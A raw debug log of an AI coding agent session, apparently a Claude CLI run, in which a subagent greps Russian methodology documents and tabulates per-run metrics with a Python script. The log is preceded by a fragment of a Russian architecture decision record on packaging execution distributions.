Context\\n\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0441\u043e\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 Distribution \u0438\u0437 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430 \u0441\u0440\u0435\u0434\u044b, \u043e\u0442\u0434\u0435\u043b\u044f\u044f \u0435\u0433\u043e \u043e\u0442 Source \u0438 rationale. \u041e\u0434\u043d\u0430\u043a\u043e \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0442\u0435\u043a\u0441\u0442 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0441\u0440\u0435\u0434\u0430\u043c\u0438 \u0438 \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u0431\u0440\u043e\u0448\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435. [Issue #617](\\n\\n## Decision\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `projects/ba-ai-process/dist/execution-package-/` \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c **\u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0439 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b**. \u0412 \u0435\u0433\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432 \u0432\u0445\u043e\u0434\u044f\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0434, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u0438\u043c\u0435\u0440\u044b, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043b\u0438 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0435\u0451 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430 **\u0432 \u044d\u0442\u043e\u0439 \u0441\u0440\u0435\u0434\u0435**. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u043a\u043b\u044e\\n\\n\u0418\u0437 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432, \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432, \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 \u0438 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\"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:20.878Z] [STDOUT]   options: {\n[2026-09-29T07:45:20.880Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:20.884Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:20.887Z] [STDOUT]     body: {\n[2026-09-29T07:45:20.890Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:20.892Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:20.895Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:20.897Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:20.900Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:20.904Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:20.909Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:20.912Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:20.915Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:20.918Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:20.922Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:20.925Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:20.930Z] [STDOUT]     },\n[2026-09-29T07:45:20.933Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:20.936Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:20.938Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:20.942Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:20.945Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:20.947Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:20.951Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:20.955Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:20.958Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:20.960Z] [STDOUT]     },\n[2026-09-29T07:45:20.965Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:20.969Z] [STDOUT]   },\n[2026-09-29T07:45:20.976Z] [STDOUT]   headers: {\n[2026-09-29T07:45:20.981Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:20.986Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:20.992Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:20.998Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:21.003Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:21.008Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:21.011Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:21.016Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:21.020Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:21.024Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1204\",\n[2026-09-29T07:45:21.026Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:21.035Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:45:21.040Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:21.045Z] [STDOUT]     \"x-client-request-id\": \"342da014-8d89-4025-aa87-ad1f9e6e044a\",\n[2026-09-29T07:45:21.048Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:21.050Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:21.054Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:21.057Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:21.062Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:21.064Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:21.067Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:21.069Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:21.071Z] [STDOUT]   },\n[2026-09-29T07:45:21.075Z] [STDOUT] }\n[2026-09-29T07:45:21.766Z] [INFO] {\n[2026-09-29T07:45:21.766Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:21.766Z] [INFO]   \"message\": {\n[2026-09-29T07:45:21.766Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:21.766Z] [INFO]     \"content\": [\n[2026-09-29T07:45:21.766Z] [INFO]       {\n[2026-09-29T07:45:21.766Z] [INFO]         \"tool_use_id\": \"toolu_01JvUQ5643vWRC5Xzkg3Jimx\",\n[2026-09-29T07:45:21.766Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:21.766Z] [INFO]         \"content\": \"artifact-micro-structure/10-theory.md:45:| `MTH-OPS` | \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0411\u0410 | \u0440\u043e\u043b\u044c \u00ab\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0425\u0430\u0431\u0430\u00bb |\\nREADME.md:118:  \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0435** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441 \u0448\u0435\u0441\u0442\u0438\u043f\u043e\u043b\u0435\u0432\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c,\\nnormalization/00-introduction.md:142:- \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 13 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 Mango \u2014 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438 \u043e\u043d\u0438\\nnormalization/10-theory.md:89:| E4 | **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f** | \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u043e\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043d\u0430\u0434 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u043c | \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0441\u0442\u0438 |\\nnormalization/30-decision-framework.md:46:| U5 \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0444\u043e\u0440\u043c\u044b | 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | **\u043f\u043e\u043b\u043d\u043e\u0435** | \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f |\\nnormalization/30-decision-framework.md:287:**\u041d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u044d\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438:** 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, 30 \u0442\u0438\u043f\u043e\u0432 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432,\\n----\\n./methodology-unification/50-open-research.md:78:| `B-131` | \u041f\u0438\u043b\u043e\u0442\u043d\u044b\u0439 \u043d\u0430\u0432\u044b\u043a `delta-baseline` (\u043a\u0435\u0439\u0441 `C-2`) \u0441 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u043c \u0433\u0435\u0439\u0442\u043e\u043c fail-closed | Gate 2 |\\n./methodology-unification/40-practice-and-cases.md:112:`fail-closed` \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435. \u0414\u0435\u0444\u0435\u043a\u0442 \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e\u0441\u043b\u0435\\n./methodology-unification/40-practice-and-cases.md:147:| `delta-baseline` | `understanding` | `\u041f1`/`\u041f2` | \u041c\u0430\u0442\u0440\u0438\u0446\u0430 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430` (\u043a\u0435\u0439\u0441 `C-2`) | `G-mach` fail-closed \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 |\\n./methodology-unification/40-practice-and-cases.md:177:| `S4` \u0421\u0431\u043e\u0440\u043a\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 | \u0421\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f `ai-rules/skills/delta-baseline/SKILL.md`: \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u0445\u043e\u0434\u0430 (\u043b\u043e\u0433 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b, \u0440\u0430\u0437\u0434\u0435\u043b\u044b KB), \u0432\u044b\u0445\u043e\u0434 (\u043c\u0430\u0442\u0440\u0438\u0446\u0430), \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 `G-mach` fail-closed |\\n./methodology-unification/40-practice-and-cases.md:223:\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439, fail-closed: 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      \"type\": \"text\",\n[2026-09-29T07:45:22.601Z] [INFO]         \"text\": \"Still gathering evidence: I'm on the ADR-018/019 decisions and the pilot verification RFC. After that I'll write the two documents.\"\n[2026-09-29T07:45:22.601Z] [INFO]       }\n[2026-09-29T07:45:22.601Z] [INFO]     ],\n[2026-09-29T07:45:22.601Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:22.601Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:22.601Z] [INFO]       \"cache_creation_input_tokens\": 1722,\n[2026-09-29T07:45:22.601Z] [INFO]       \"cache_read_input_tokens\": 111279,\n[2026-09-29T07:45:22.601Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:22.601Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:45:22.601Z] [INFO]         \"ephemeral_1h_input_tokens\": 1722\n[2026-09-29T07:45:22.601Z] [INFO]       },\n[2026-09-29T07:45:22.601Z] [INFO]       \"output_tokens\": 68,\n[2026-09-29T07:45:22.601Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:22.601Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:22.601Z] [INFO]     },\n[2026-09-29T07:45:22.601Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:22.601Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:22.601Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:22.601Z] [INFO]   },\n[2026-09-29T07:45:22.601Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:22.601Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:22.601Z] [INFO]   \"uuid\": \"04e5e837-a69b-4c1c-bf7e-9ab17dfd205d\",\n[2026-09-29T07:45:22.601Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:22.229Z\",\n[2026-09-29T07:45:22.601Z] [INFO]   \"request_id\": \"req_011CfXMkT5AaVrX5rUc9rzTS\"\n[2026-09-29T07:45:22.601Z] [INFO] }\n[2026-09-29T07:45:22.612Z] [INFO] {\n[2026-09-29T07:45:22.612Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"message\": {\n[2026-09-29T07:45:22.612Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"id\": \"msg_011CfXMkNQdc3pAf9aQSYuap\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:22.612Z] [INFO]     \"content\": [\n[2026-09-29T07:45:22.612Z] [INFO]       {\n[2026-09-29T07:45:22.612Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:22.612Z] [INFO]         \"id\": \"toolu_013tKYaeRX6hUPMu1TBTFS4T\",\n[2026-09-29T07:45:22.612Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:22.612Z] [INFO]         \"input\": {\n[2026-09-29T07:45:22.612Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport json\\na=json.load(open('/tmp/runs_metrics.json'))\\ndef num(x):\\n    try: return float(str(x).split()[0].replace(',',''))\\n    except: return None\\ncols=['eval','verdict','quality','success_rate','hallucinations','hallucinations_shipped','ba_edits','tokens_input','tokens_output','tokens_thinking','tokens_dialog_total','duration_active_s','episodes','turns','sessions','calendar_days']\\nfor r,m in a.items():\\n    s=[f\\\"{c}={str(m.get(c))[:40]}\\\" for c in cols if c in m]\\n    print(r,'; '.join(s))\\nEOF\",\n[2026-09-29T07:45:22.612Z] [INFO]           \"description\": \"Tabulate key metrics per run\"\n[2026-09-29T07:45:22.612Z] [INFO]         },\n[2026-09-29T07:45:22.612Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:22.612Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:22.612Z] [INFO]         }\n[2026-09-29T07:45:22.612Z] [INFO]       }\n[2026-09-29T07:45:22.612Z] [INFO]     ],\n[2026-09-29T07:45:22.612Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:22.612Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:22.612Z] [INFO]       \"cache_creation_input_tokens\": 1825,\n[2026-09-29T07:45:22.612Z] [INFO]       \"cache_read_input_tokens\": 50867,\n[2026-09-29T07:45:22.612Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:22.612Z] [INFO]         \"ephemeral_5m_input_tokens\": 1825,\n[2026-09-29T07:45:22.612Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:22.612Z] [INFO]       },\n[2026-09-29T07:45:22.612Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:22.612Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:22.612Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:22.612Z] [INFO]     },\n[2026-09-29T07:45:22.612Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:22.612Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:22.612Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:22.612Z] [INFO]   },\n[2026-09-29T07:45:22.612Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"uuid\": \"092a7403-b9d1-4ed0-a542-0ed046841ed0\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:22.564Z\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"request_id\": \"req_011CfXMkN1ZpkX5i3d1c1xYw\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:22.612Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:22.612Z] [INFO] }\n[2026-09-29T07:45:22.629Z] [INFO] {\n[2026-09-29T07:45:22.629Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"description\": \"Running Tabulate key metrics per run\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:22.629Z] [INFO]     \"total_tokens\": 53125,\n[2026-09-29T07:45:22.629Z] [INFO]     \"tool_uses\": 14,\n[2026-09-29T07:45:22.629Z] [INFO]     \"duration_ms\": 60270\n[2026-09-29T07:45:22.629Z] [INFO]   },\n[2026-09-29T07:45:22.629Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"uuid\": \"cf119db2-26c9-4bbe-ad48-3aef26fbff14\",\n[2026-09-29T07:45:22.629Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:22.629Z] [INFO] }\n[2026-09-29T07:45:22.636Z] [STDOUT] [log_f718da, request-id: \"req_011CfXMkYBFWsFY2tPQz5TDv\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 789ms\n[2026-09-29T07:45:22.644Z] [STDOUT] [log_f718da] response start {\n[2026-09-29T07:45:22.651Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:22.655Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:22.658Z] [STDOUT]   headers: {\n[2026-09-29T07:45:22.684Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:22.691Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:22.697Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:22.707Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:22.724Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:22.786Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:22.790Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:22.793Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:22.797Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:22.800Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:22.806Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:22.812Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:22.815Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:22.820Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:22.826Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:22.831Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:22.837Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:22.839Z] [STDOUT]     \"cf-ray\": \"a4295e2f490229ad-FRA\",\n[2026-09-29T07:45:22.843Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:22.847Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:22.850Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:22.854Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:22.856Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:22 GMT\",\n[2026-09-29T07:45:22.860Z] [STDOUT]     \"request-id\": \"req_011CfXMkYBFWsFY2tPQz5TDv\",\n[2026-09-29T07:45:22.862Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:22.866Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:22.869Z] [STDOUT]     traceresponse: \"00-4e9b21bd84d4444310d5836adf1a320c-f39a15d09f83bf0b-01\",\n[2026-09-29T07:45:22.873Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:22.875Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:22.879Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:22.882Z] [STDOUT]   },\n[2026-09-29T07:45:22.884Z] [STDOUT]   durationMs: 789,\n[2026-09-29T07:45:22.887Z] [STDOUT] }\n[2026-09-29T07:45:22.889Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:22.893Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:22 GMT\",\n[2026-09-29T07:45:22.896Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:22.898Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:22.903Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:22.907Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:22.912Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:22.914Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:22.918Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:22.923Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:22.927Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:22.943Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:22.950Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:22.957Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": 